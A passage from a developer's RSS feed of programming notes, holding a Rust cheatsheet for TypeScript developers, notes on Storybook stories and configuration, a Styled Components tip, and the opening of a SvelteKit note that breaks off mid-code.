&lt;pre&gt;&lt;code&gt;interface Drawable {
    draw(): void
}

interface Resizable {
    resize(width: number, height: number): void
}

class Circle implements Drawable, Resizable {
    draw() { /* ... */ }
    resize(w: number, h: number) { /* ... */ }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Rust&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;trait Drawable {
    fn draw(&amp;amp;self);
}

trait Resizable {
    fn resize(&amp;amp;mut self, width: u32, height: u32);
}

struct Circle {
    radius: f64,
}

impl Drawable for Circle {
    fn draw(&amp;amp;self) {
        println!(&quot;Drawing circle with radius {}&quot;, self.radius);
    }
}

impl Resizable for Circle {
    fn resize(&amp;amp;mut self, width: u32, _height: u32) {
        self.radius = width as f64 / 2.0;
    }
}

// Trait bounds (like generic constraints)
fn render&amp;lt;T: Drawable&amp;gt;(item: &amp;amp;T) {
    item.draw();
}

// Multiple bounds
fn process&amp;lt;T: Drawable + Resizable&amp;gt;(item: &amp;amp;mut T) {
    item.draw();
    item.resize(100, 100);
}

// where clause (cleaner for complex bounds)
fn complex&amp;lt;T, U&amp;gt;(t: &amp;amp;T, u: &amp;amp;U) -&amp;gt; String
where
    T: Drawable + Clone,
    U: Resizable,
{
    // ...
}

// Default implementations
trait Greet {
    fn name(&amp;amp;self) -&amp;gt; &amp;amp;str;

    fn greet(&amp;amp;self) -&amp;gt; String {
        format!(&quot;Hello, {}!&quot;, self.name())
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Common traits to implement&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Debug - for {:?} formatting
#[derive(Debug)]
struct Point { x: f64, y: f64 }

// Clone - explicit copying
#[derive(Clone)]
struct Data { values: Vec&amp;lt;i32&amp;gt; }

// Copy - implicit copying (for simple stack types)
#[derive(Copy, Clone)]
struct Point { x: f64, y: f64 }

// PartialEq, Eq - equality comparison
#[derive(PartialEq, Eq)]
struct Id(u32);

// Default - default value
#[derive(Default)]
struct Config {
    debug: bool,
    port: u16,
}
let config = Config::default();

// Derive multiple
#[derive(Debug, Clone, PartialEq)]
struct User { name: String }
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Collections&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const arr: number[] = [1, 2, 3]
arr.push(4)
const doubled = arr.map(n =&amp;gt; n * 2)
const evens = arr.filter(n =&amp;gt; n % 2 === 0)
const sum = arr.reduce((a, b) =&amp;gt; a + b, 0)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Rust&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Vec&amp;lt;T&amp;gt; - dynamic array
let mut arr = vec![1, 2, 3];
arr.push(4);

// Iterators (lazy, chainable - like JS but more powerful)
let doubled: Vec&amp;lt;i32&amp;gt; = arr.iter()
    .map(|n| n * 2)
    .collect();

let evens: Vec&amp;lt;&amp;amp;i32&amp;gt; = arr.iter()
    .filter(|n| *n % 2 == 0)
    .collect();

let sum: i32 = arr.iter().sum();

// Or with fold (like reduce)
let sum: i32 = arr.iter().fold(0, |acc, n| acc + n);

// Iteration
for n in &amp;amp;arr {
    println!(&quot;{}&quot;, n);
}

for (i, n) in arr.iter().enumerate() {
    println!(&quot;{}: {}&quot;, i, n);
}

// Common iterator methods
arr.iter().count();
arr.iter().any(|n| *n &amp;gt; 2);
arr.iter().all(|n| *n &amp;gt; 0);
arr.iter().find(|n| **n &amp;gt; 2);
arr.iter().position(|n| *n == 2);
arr.iter().take(2);
arr.iter().skip(1);
arr.iter().chain(other.iter());
arr.iter().zip(other.iter());
arr.iter().flat_map(|n| vec![*n, *n]);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;HashMap&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;use std::collections::HashMap;

let mut scores: HashMap&amp;lt;String, i32&amp;gt; = HashMap::new();
scores.insert(&quot;Alice&quot;.to_string(), 100);
scores.insert(&quot;Bob&quot;.to_string(), 85);

// From iterator
let scores: HashMap&amp;lt;_, _&amp;gt; = vec![
    (&quot;Alice&quot;, 100),
    (&quot;Bob&quot;, 85),
].into_iter().collect();

// Access
let alice_score = scores.get(&quot;Alice&quot;);  // Option&amp;lt;&amp;amp;i32&amp;gt;
let alice_score = scores[&quot;Alice&quot;];      // Panics if missing!

// Check and insert
scores.entry(&quot;Charlie&quot;.to_string()).or_insert(0);

// Update
scores.entry(&quot;Alice&quot;.to_string())
    .and_modify(|score| *score += 10)
    .or_insert(0);

// Iterate
for (name, score) in &amp;amp;scores {
    println!(&quot;{}: {}&quot;, name, score);
}

// Remove
scores.remove(&quot;Bob&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Error handling&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;try {
    const data = await fetchData()
} catch (error) {
    console.error(&quot;Failed:&quot;, error)
    throw error
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Rust&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;use std::fs::File;
use std::io::{self, Read};

// Result-based error handling (no exceptions!)
fn read_file(path: &amp;amp;str) -&amp;gt; Result&amp;lt;String, io::Error&amp;gt; {
    let mut file = File::open(path)?;  // ? propagates error
    let mut contents = String::new();
    file.read_to_string(&amp;amp;mut contents)?;
    Ok(contents)
}

// Handling errors
match read_file(&quot;config.txt&quot;) {
    Ok(contents) =&amp;gt; println!(&quot;{}&quot;, contents),
    Err(e) =&amp;gt; eprintln!(&quot;Error: {}&quot;, e),
}

// With if let
if let Ok(contents) = read_file(&quot;config.txt&quot;) {
    println!(&quot;{}&quot;, contents);
}

// Unwrap (panic on error - use sparingly!)
let contents = read_file(&quot;config.txt&quot;).unwrap();
let contents = read_file(&quot;config.txt&quot;).expect(&quot;Failed to read config&quot;);

// Custom error types
#[derive(Debug)]
enum AppError {
    IoError(io::Error),
    ParseError(String),
    NotFound,
}

impl From&amp;lt;io::Error&amp;gt; for AppError {
    fn from(error: io::Error) -&amp;gt; Self {
        AppError::IoError(error)
    }
}

// Using thiserror crate (recommended)
use thiserror::Error;

#[derive(Error, Debug)]
enum AppError {
    #[error(&quot;IO error: {0}&quot;)]
    Io(#[from] io::Error),
    #[error(&quot;Parse error: {0}&quot;)]
    Parse(String),
    #[error(&quot;Not found&quot;)]
    NotFound,
}

// Using anyhow for application code
use anyhow::{Context, Result};

fn load_config() -&amp;gt; Result&amp;lt;Config&amp;gt; {
    let contents = std::fs::read_to_string(&quot;config.json&quot;)
        .context(&quot;Failed to read config file&quot;)?;
    let config: Config = serde_json::from_str(&amp;amp;contents)
        .context(&quot;Failed to parse config&quot;)?;
    Ok(config)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Async/Await&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;async function fetchData(url: string): Promise&amp;lt;Response&amp;gt; {
    const response = await fetch(url)
    return response
}

const results = await Promise.all([
    fetchData(&quot;url1&quot;),
    fetchData(&quot;url2&quot;)
])
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Rust&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Requires async runtime (tokio or async-std)
use tokio;

async fn fetch_data(url: &amp;amp;str) -&amp;gt; Result&amp;lt;String, reqwest::Error&amp;gt; {
    let response = reqwest::get(url).await?;
    response.text().await
}

// Main function with tokio
#[tokio::main]
async fn main() {
    let result = fetch_data(&quot;https://api.example.com&quot;).await;
}

// Concurrent execution (like Promise.all)
use futures::future::join_all;

async fn fetch_all(urls: Vec&amp;lt;&amp;amp;str&amp;gt;) -&amp;gt; Vec&amp;lt;Result&amp;lt;String, reqwest::Error&amp;gt;&amp;gt; {
    let futures: Vec&amp;lt;_&amp;gt; = urls.into_iter()
        .map(|url| fetch_data(url))
        .collect();

    join_all(futures).await
}

// Or with tokio::join! for fixed number
let (result1, result2) = tokio::join!(
    fetch_data(&quot;url1&quot;),
    fetch_data(&quot;url2&quot;)
);

// Spawn task (like fire and forget)
tokio::spawn(async {
    // Background work
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Generics&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function first&amp;lt;T&amp;gt;(arr: T[]): T | undefined {
    return arr[0]
}

interface Container&amp;lt;T&amp;gt; {
    value: T
    map&amp;lt;U&amp;gt;(fn: (v: T) =&amp;gt; U): Container&amp;lt;U&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Rust&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Generic function
fn first&amp;lt;T&amp;gt;(slice: &amp;amp;[T]) -&amp;gt; Option&amp;lt;&amp;amp;T&amp;gt; {
    slice.first()
}

// Generic struct
struct Container&amp;lt;T&amp;gt; {
    value: T,
}

impl&amp;lt;T&amp;gt; Container&amp;lt;T&amp;gt; {
    fn new(value: T) -&amp;gt; Self {
        Self { value }
    }

    fn map&amp;lt;U, F&amp;gt;(self, f: F) -&amp;gt; Container&amp;lt;U&amp;gt;
    where
        F: FnOnce(T) -&amp;gt; U,
    {
        Container { value: f(self.value) }
    }
}

// Usage
let c = Container::new(42);
let doubled = c.map(|n| n * 2);

// Constrained generics
fn print_debug&amp;lt;T: std::fmt::Debug&amp;gt;(value: T) {
    println!(&quot;{:?}&quot;, value);
}

// Multiple bounds
fn process&amp;lt;T: Clone + Debug&amp;gt;(value: T) { }

// impl Trait (simpler syntax for return types)
fn make_iterator() -&amp;gt; impl Iterator&amp;lt;Item = i32&amp;gt; {
    vec![1, 2, 3].into_iter()
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Modules&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// utils.ts
export function helper() {}
export const VERSION = &quot;1.0&quot;

// main.ts
import { helper, VERSION } from &apos;./utils&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Rust&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// src/utils.rs
pub fn helper() {}
pub const VERSION: &amp;amp;str = &quot;1.0&quot;;

// Private by default
fn internal() {}

// src/main.rs
mod utils;  // Declare module

use crate::utils::helper;
use crate::utils::VERSION;

fn main() {
    helper();
}

// Nested modules
mod outer {
    pub mod inner {
        pub fn function() {}
    }
}

use outer::inner::function;

// Re-exports
pub use self::inner::function;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Project structure&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;my_project/
├── Cargo.toml
├── src/
│   ├── main.rs       # Binary entry point
│   ├── lib.rs        # Library entry point
│   ├── utils.rs      # Module file
│   └── models/       # Module directory
│       ├── mod.rs    # Module declaration
│       └── user.rs   # Submodule
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Package management (Cargo)&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;npm init
npm install express
npm install -D typescript
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Rust&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;cargo new my_project
cargo add serde
cargo add tokio --features full
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# Cargo.toml
[package]
name = &quot;my_project&quot;
version = &quot;0.1.0&quot;
edition = &quot;2021&quot;

[dependencies]
serde = { version = &quot;1.0&quot;, features = [&quot;derive&quot;] }
tokio = { version = &quot;1&quot;, features = [&quot;full&quot;] }

[dev-dependencies]
mockall = &quot;0.11&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;cargo build          # Build
cargo run            # Build and run
cargo test           # Run tests
cargo check          # Fast syntax check
cargo clippy         # Linter
cargo fmt            # Format code
cargo doc --open     # Generate docs
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;JSON handling (serde)&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;interface User {
    id: number
    name: string
}
const json = JSON.stringify(user)
const parsed: User = JSON.parse(json)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Rust&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;use serde::{Deserialize, Serialize};

#[derive(Serialize, Deserialize, Debug)]
struct User {
    id: u32,
    name: String,
    #[serde(skip_serializing_if = &quot;Option::is_none&quot;)]
    email: Option&amp;lt;String&amp;gt;,
    #[serde(rename = &quot;createdAt&quot;)]
    created_at: String,
}

// Serialize (stringify)
let user = User { id: 1, name: &quot;Alice&quot;.into(), email: None, created_at: &quot;2024-01-01&quot;.into() };
let json = serde_json::to_string(&amp;amp;user)?;
let json_pretty = serde_json::to_string_pretty(&amp;amp;user)?;

// Deserialize (parse)
let user: User = serde_json::from_str(&amp;amp;json)?;

// Dynamic JSON
use serde_json::Value;
let v: Value = serde_json::from_str(data)?;
let name = v[&quot;name&quot;].as_str();
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;HTTP server (axum)&lt;/h2&gt;
&lt;h3&gt;TypeScript (Express)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import express from &apos;express&apos;

const app = express()
app.use(express.json())

app.get(&apos;/users/:id&apos;, (req, res) =&amp;gt; {
    res.json({ id: req.params.id, name: &apos;Alice&apos; })
})

app.listen(3000)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Rust (axum)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;use axum::{
    routing::{get, post},
    Router, Json, extract::Path,
};
use serde::{Deserialize, Serialize};

#[derive(Serialize)]
struct User {
    id: u32,
    name: String,
}

#[derive(Deserialize)]
struct CreateUser {
    name: String,
}

async fn get_user(Path(id): Path&amp;lt;u32&amp;gt;) -&amp;gt; Json&amp;lt;User&amp;gt; {
    Json(User { id, name: &quot;Alice&quot;.into() })
}

async fn create_user(Json(payload): Json&amp;lt;CreateUser&amp;gt;) -&amp;gt; Json&amp;lt;User&amp;gt; {
    Json(User { id: 1, name: payload.name })
}

#[tokio::main]
async fn main() {
    let app = Router::new()
        .route(&quot;/users/:id&quot;, get(get_user))
        .route(&quot;/users&quot;, post(create_user));

    let listener = tokio::net::TcpListener::bind(&quot;0.0.0.0:3000&quot;).await.unwrap();
    axum::serve(listener, app).await.unwrap();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Testing&lt;/h2&gt;
&lt;h3&gt;TypeScript (Jest)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;describe(&apos;math&apos;, () =&amp;gt; {
    it(&apos;adds numbers&apos;, () =&amp;gt; {
        expect(add(1, 2)).toBe(3)
    })
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Rust&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Tests in same file
fn add(a: i32, b: i32) -&amp;gt; i32 {
    a + b
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn test_add() {
        assert_eq!(add(1, 2), 3);
    }

    #[test]
    fn test_add_negative() {
        assert_eq!(add(-1, 1), 0);
    }

    #[test]
    #[should_panic(expected = &quot;divide by zero&quot;)]
    fn test_divide_by_zero() {
        divide(1, 0);
    }

    #[test]
    fn test_result() -&amp;gt; Result&amp;lt;(), String&amp;gt; {
        let result = divide(10, 2)?;
        assert_eq!(result, 5);
        Ok(())
    }
}

// Integration tests in tests/ directory
// tests/integration_test.rs
use my_crate::public_function;

#[test]
fn test_integration() {
    assert!(public_function());
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;cargo test
cargo test test_add  # Run specific test
cargo test -- --nocapture  # Show println! output
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Common gotchas for TS developers&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Immutable by default&lt;/strong&gt; - use &lt;code&gt;mut&lt;/code&gt; for mutable variables&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ownership&lt;/strong&gt; - values have one owner, moves happen&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Borrowing&lt;/strong&gt; - &lt;code&gt;&amp;amp;&lt;/code&gt; for shared ref, &lt;code&gt;&amp;amp;mut&lt;/code&gt; for exclusive ref&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No null&lt;/strong&gt; - use &lt;code&gt;Option&amp;lt;T&amp;gt;&lt;/code&gt; and handle &lt;code&gt;None&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No exceptions&lt;/strong&gt; - use &lt;code&gt;Result&amp;lt;T, E&amp;gt;&lt;/code&gt; and &lt;code&gt;?&lt;/code&gt; operator&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Semicolons matter&lt;/strong&gt; - no semicolon = expression return value&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;String types&lt;/strong&gt; - &lt;code&gt;String&lt;/code&gt; (owned) vs &lt;code&gt;&amp;amp;str&lt;/code&gt; (borrowed)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;==&lt;/code&gt; always strict&lt;/strong&gt; - no type coercion&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No function overloading&lt;/strong&gt; - use traits or different names&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Explicit type conversion&lt;/strong&gt; - &lt;code&gt;as&lt;/code&gt;, &lt;code&gt;into()&lt;/code&gt;, &lt;code&gt;from()&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;// Expression vs statement
let x = {
    let y = 5;
    y + 1  // No semicolon = return value
};  // x = 6

let x = {
    let y = 5;
    y + 1;  // Semicolon = statement, returns ()
};  // x = ()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Resources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://doc.rust-lang.org/book/&quot;&gt;The Rust Book&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://doc.rust-lang.org/rust-by-example/&quot;&gt;Rust by Example&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/rust-lang/rustlings&quot;&gt;Rustlings (exercises)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://play.rust-lang.org/&quot;&gt;Rust Playground&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://crates.io/&quot;&gt;crates.io (package registry)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.rs/&quot;&gt;docs.rs (documentation)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>rust</category><category>typescript</category><category>cheatsheet</category><author>Zander Martineau</author></item><item><title>Storybook</title><link>https://zander.wtf/notes/storybook/</link><guid isPermaLink="true">https://zander.wtf/notes/storybook/</guid><description>Stories (CSF3) This is a good starter that includes most things you&apos;ll need when creating stories. Custom render function Play function (interaction…</description><pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Stories (CSF3)&lt;/h2&gt;
&lt;p&gt;This is a good starter that includes most things you&apos;ll need when creating stories.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// MyComponent.stories.tsx
import type { Meta, StoryObj } from &apos;@storybook/react&apos;
import { MyComponent } from &apos;./MyComponent&apos;

const meta = {
  title: &apos;Components/MyComponent&apos;,
  component: MyComponent,
  // Autodocs
  tags: [&apos;autodocs&apos;],
  // Default args for all stories
  args: {
    prop1: &apos;Default value&apos;,
  },
} satisfies Meta&amp;lt;typeof MyComponent&amp;gt;

export default meta
type Story = StoryObj&amp;lt;typeof meta&amp;gt;

export const Default: Story = {
  args: {
    prop1: &apos;Something&apos;,
    prop2: true,
  },
}

export const OnDark: Story = {
  ...Default,
  parameters: {
    backgrounds: { default: &apos;dark&apos; },
  },
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Custom render function&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;export const WithWrapper: Story = {
  render: (args) =&amp;gt; (
    &amp;lt;div style={{ maxWidth: &apos;300px&apos; }}&amp;gt;
      &amp;lt;MyComponent {...args} /&amp;gt;
    &amp;lt;/div&amp;gt;
  ),
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Play function (interaction testing)&lt;/h3&gt;
&lt;p&gt;Play functions let you simulate user interactions for testing.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// LoginForm.stories.tsx
import type { Meta, StoryObj } from &apos;@storybook/react&apos;
import { within, userEvent, expect } from &apos;@storybook/test&apos;
import { LoginForm } from &apos;./LoginForm&apos;

const meta = {
  title: &apos;Forms/LoginForm&apos;,
  component: LoginForm,
} satisfies Meta&amp;lt;typeof LoginForm&amp;gt;

export default meta
type Story = StoryObj&amp;lt;typeof meta&amp;gt;

export const FilledForm: Story = {
  play: async ({ canvasElement }) =&amp;gt; {
    const canvas = within(canvasElement)

    await userEvent.type(
      canvas.getByLabelText(&apos;Email&apos;),
      &apos;email@provider.com&apos;
    )
    await userEvent.type(
      canvas.getByLabelText(&apos;Password&apos;),
      &apos;a-random-password&apos;
    )
    await userEvent.click(canvas.getByRole(&apos;button&apos;, { name: &apos;Sign in&apos; }))

    await expect(canvas.getByText(&apos;Welcome back!&apos;)).toBeInTheDocument()
  },
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Args and argTypes&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const meta = {
  title: &apos;Components/Button&apos;,
  component: Button,
  argTypes: {
    variant: {
      control: &apos;select&apos;,
      options: [&apos;primary&apos;, &apos;secondary&apos;, &apos;ghost&apos;],
    },
    size: {
      control: &apos;radio&apos;,
      options: [&apos;sm&apos;, &apos;md&apos;, &apos;lg&apos;],
    },
    disabled: { control: &apos;boolean&apos; },
    onClick: { action: &apos;clicked&apos; },
  },
} satisfies Meta&amp;lt;typeof Button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Decorators&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const meta = {
  title: &apos;Components/Card&apos;,
  component: Card,
  decorators: [
    (Story) =&amp;gt; (
      &amp;lt;div style={{ padding: &apos;2rem&apos; }}&amp;gt;
        &amp;lt;Story /&amp;gt;
      &amp;lt;/div&amp;gt;
    ),
  ],
} satisfies Meta&amp;lt;typeof Card&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Non-story exports&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import type { Meta, StoryObj } from &apos;@storybook/react&apos;
import { MyComponent } from &apos;./MyComponent&apos;

const meta = {
  title: &apos;MyComponent&apos;,
  component: MyComponent,
  // Only include these as stories
  includeStories: [&apos;Default&apos;, &apos;WithData&apos;],
  // Or exclude anything matching pattern
  excludeStories: /.*Data$/,
} satisfies Meta&amp;lt;typeof MyComponent&amp;gt;

export default meta
type Story = StoryObj&amp;lt;typeof meta&amp;gt;

// This won&apos;t be a story (excluded by pattern)
export const mockData = { foo: 1, bar: &apos;baz&apos; }

export const Default: Story = {}

export const WithData: Story = {
  args: { data: mockData },
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Config&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;main.ts&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// .storybook/main.ts
import type { StorybookConfig } from &apos;@storybook/react-vite&apos;

const config: StorybookConfig = {
  stories: [&apos;../src/**/*.mdx&apos;, &apos;../src/**/*.stories.@(js|jsx|mjs|ts|tsx)&apos;],
  addons: [
    &apos;@storybook/addon-essentials&apos;,
    &apos;@storybook/addon-a11y&apos;,
    &apos;@storybook/addon-interactions&apos;,
  ],
  framework: {
    name: &apos;@storybook/react-vite&apos;,
    options: {},
  },
}

export default config
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;preview.ts&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// .storybook/preview.ts
import type { Preview } from &apos;@storybook/react&apos;
import &apos;../src/styles/globals.css&apos;

const preview: Preview = {
  parameters: {
    controls: {
      matchers: {
        color: /(background|color)$/i,
        date: /Date$/i,
      },
    },
    backgrounds: {
      default: &apos;light&apos;,
      values: [
        { name: &apos;light&apos;, value: &apos;#ffffff&apos; },
        { name: &apos;dark&apos;, value: &apos;#1a1a1a&apos; },
      ],
    },
  },
  decorators: [
    (Story) =&amp;gt; (
      &amp;lt;div style={{ fontFamily: &apos;system-ui, sans-serif&apos; }}&amp;gt;
        &amp;lt;Story /&amp;gt;
      &amp;lt;/div&amp;gt;
    ),
  ],
}

export default preview
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Useful addons&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://storybook.js.org/addons/@storybook/addon-a11y&quot;&gt;@storybook/addon-a11y&lt;/a&gt; - Accessibility testing&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://storybook.js.org/addons/@storybook/addon-interactions&quot;&gt;@storybook/addon-interactions&lt;/a&gt; - Debug play functions&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/rbardini/storybook-addon-paddings&quot;&gt;storybook-addon-paddings&lt;/a&gt; - Add padding around stories&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://storybook.js.org/addons/@storybook/addon-themes&quot;&gt;@storybook/addon-themes&lt;/a&gt; - Theme switching&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Testing with Storybook&lt;/h2&gt;
&lt;p&gt;Stories can be reused in unit tests using &lt;code&gt;composeStories&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// MyComponent.test.tsx
import { composeStories } from &apos;@storybook/react&apos;
import { render, screen } from &apos;@testing-library/react&apos;
import * as stories from &apos;./MyComponent.stories&apos;

const { Default, WithData } = composeStories(stories)

test(&apos;renders default state&apos;, () =&amp;gt; {
  render(&amp;lt;Default /&amp;gt;)
  expect(screen.getByText(&apos;Hello&apos;)).toBeInTheDocument()
})

test(&apos;renders with data&apos;, () =&amp;gt; {
  render(&amp;lt;WithData /&amp;gt;)
  expect(screen.getByText(&apos;Data loaded&apos;)).toBeInTheDocument()
})
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>testing</category><category>storybook</category><author>Zander Martineau</author></item><item><title>Styled Components</title><link>https://zander.wtf/notes/styled-components/</link><guid isPermaLink="true">https://zander.wtf/notes/styled-components/</guid><description>Basic component Tip You can get the props at the top of the component so you don&apos;t have to do it in every property that needs them, avoiding all the copy…</description><pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Basic component&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import styled from &apos;styled-components&apos;

interface ComponentProps {}

export const Component = styled.div&amp;lt;ComponentProps&amp;gt;``
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Tip&lt;/h3&gt;
&lt;p&gt;You can get the props at the top of the component so you don&apos;t have to do it in every property that needs them, avoiding all the copy pasting.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import styled, { css } from &apos;styled-components&apos;

// 👎 instead of getting the props in every line:
const Post = styled.article`
  font-size: ${(props) =&amp;gt; props.theme.fontSizes.md};
  color: ${(props) =&amp;gt; props.theme.colors.bodyText};
`

// 👍 get them once at the root to make your code cleaner
const Post = styled.article`
  ${({ theme }) =&amp;gt;
    css`
      font-size: ${theme.fontSizes.md};
      color: ${theme.colors.bodyText};
    `}
`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;h/t https://twitter.com/NikkitaFTW/status/1262423045874089990&lt;/p&gt;
&lt;h4&gt;Even better version:&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;import styled, { css } from &apos;styled-components&apos;

const Post = styled.article(
  ({ theme }) =&amp;gt; css`
    font-size: ${theme.fontSizes.md};
    color: ${theme.colors.bodyText};
  `
)
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>react</category><category>typescript</category><author>Zander Martineau</author></item><item><title>SvelteKit</title><link>https://zander.wtf/notes/sveltekit/</link><guid isPermaLink="true">https://zander.wtf/notes/sveltekit/</guid><description>Routing file structure Page data loading +page.server.ts (server-only) +page.ts (runs on server and client) Using data in the page Layouts Form actions API…</description><pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Routing file structure&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;├─ src
│  ├─ routes
│  │  ├─ +page.svelte          # /
│  │  ├─ +layout.svelte        # Root layout
│  │  ├─ about
│  │  │  ├─ +page.svelte       # /about
│  │  ├─ blog
│  │  │  ├─ +page.svelte       # /blog
│  │  │  ├─ [slug]
│  │  │  │  ├─ +page.svelte    # /blog/:slug
│  │  │  │  ├─ +page.server.ts
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Page data loading&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;+page.server.ts&lt;/code&gt; (server-only)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import type { PageServerLoad, Actions } from &apos;./$types&apos;
import { redirect, fail } from &apos;@sveltejs/kit&apos;

export const load: PageServerLoad = async ({ params, locals }) =&amp;gt; {
  const { supabase, session } = locals

  if (!session) {
    redirect(303, &apos;/login&apos;)
  }

  const { data: posts } = await supabase
    .from(&apos;posts&apos;)
